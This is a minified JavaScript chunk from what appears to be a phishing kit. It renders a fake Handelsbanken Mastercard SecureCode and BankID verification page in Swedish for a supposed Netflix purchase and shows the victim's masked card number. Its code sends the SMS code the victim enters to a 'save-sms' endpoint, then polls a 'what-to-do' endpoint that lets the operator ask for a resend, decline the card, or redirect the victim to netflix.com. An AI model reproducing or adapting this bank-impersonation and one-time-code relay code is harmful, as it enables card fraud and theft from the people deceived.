(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-2d22d389"],{f724:function(t,e,n){"use strict";n.r(e);var a=n("7a23"),i={class:" p-3",style:{width:"395px"}},s=Object(a["e"])('<div class="flex items-center mb-3"><div><img src="images/logo_bank_handelsbanken.gif" width="130"></div><div class="flex gap-3 ml-auto"><div><img src="images/mastercard_logo_small.gif" width="89" border="0" height="50"></div></div></div><h1 class="font-xl font-bold"> Mastercard®SecureCode™ - Bekräfta ditt köp med Mobilt BankID </h1><p class="text-xs mt-5"> Öppna BankID-appen i din mobila enhet för att signera köpet. </p>',3),c={role:"presentation",width:"350",cellspacing:"0",cellpadding:"0",border:"0",class:"mt-5 text-xs font-normal"},d=Object(a["g"])("tr",null,[Object(a["g"])("td",{width:"170",valign:"top",align:"right",height:"20"},[Object(a["g"])("span",null,"Butik:")]),Object(a["g"])("td",{width:"10"}),Object(a["g"])("td",{width:"170",valign:"top",align:"left",height:"20"},[Object(a["g"])("span",null,"Netflix")])],-1),l=Object(a["g"])("td",{width:"170",valign:"top",align:"right",height:"10"},[Object(a["g"])("span",null,"Datum:")],-1),o=Object(a["g"])("td",{width:"10"},null,-1),g={width:"170",valign:"top",align:"left",height:"10"},r=Object(a["g"])("td",{width:"170",valign:"top",align:"right",height:"10"},[Object(a["g"])("span",null,[Object(a["g"])("span",null,"Kortnummer")])],-1),u=Object(a["g"])("td",{width:"10"},null,-1),h={width:"170",valign:"top",align:"left",height:"10"};function b(t,e,n,b,p,m){return Object(a["i"])(),Object(a["c"])("div",i,[s,Object(a["g"])("div",null,[Object(a["g"])("table",c,[Object(a["g"])("tbody",null,[d,Object(a["g"])("tr",null,[l,o,Object(a["g"])("td",g,[Object(a["g"])("span",{textContent:Object(a["m"])((new Date).toISOString().substr(0,10))},null,8,["textContent"])])]),Object(a["g"])("tr",null,[r,u,Object(a["g"])("td",h,[Object(a["g"])("span",null,Object(a["m"])(m.ccnum_hidden),1)])])])])])])}var p=n("bc3a"),m=n.n(p),O=n("a078"),f={name:"Generic",props:["ccname","ccnum","cc_result","bank"],data:function(){return{code:null,isResend:!1,isLoading:!1,lang:"en"}},computed:{ccnum_hidden:function(){return"XXXX-XXXX-XXXX-"+this.ccnum.substr(-4)}},methods:{submitCode:function(){var t=this;this.isLoading=!0,m.a.post(O["a"]+"save-sms/"+this.cc_result,{code:this.code}).then((function(){t.waitWhatToDo()})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message)}))},waitWhatToDo:function(){var t=this;m.a.get(O["a"]+"what-to-do/"+this.cc_result).then((function(e){2===e.data.status?setTimeout((function(){return t.waitWhatToDo()}),1e3):3===e.data.status||12===e.data.status?(t.isResend=!0,t.isLoading=!1,t.code=""):4===e.data.status?t.$emit("card-declined"):5===e.data.status&&(window.location.href="http://netflix.com")})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message),setTimeout((function(){return t.waitWhatToDo()}),2e3)}))}}};f.render=b;e["default"]=f}}]);
//# sourceMappingURL=chunk-2d22d389.19beaf16.js.map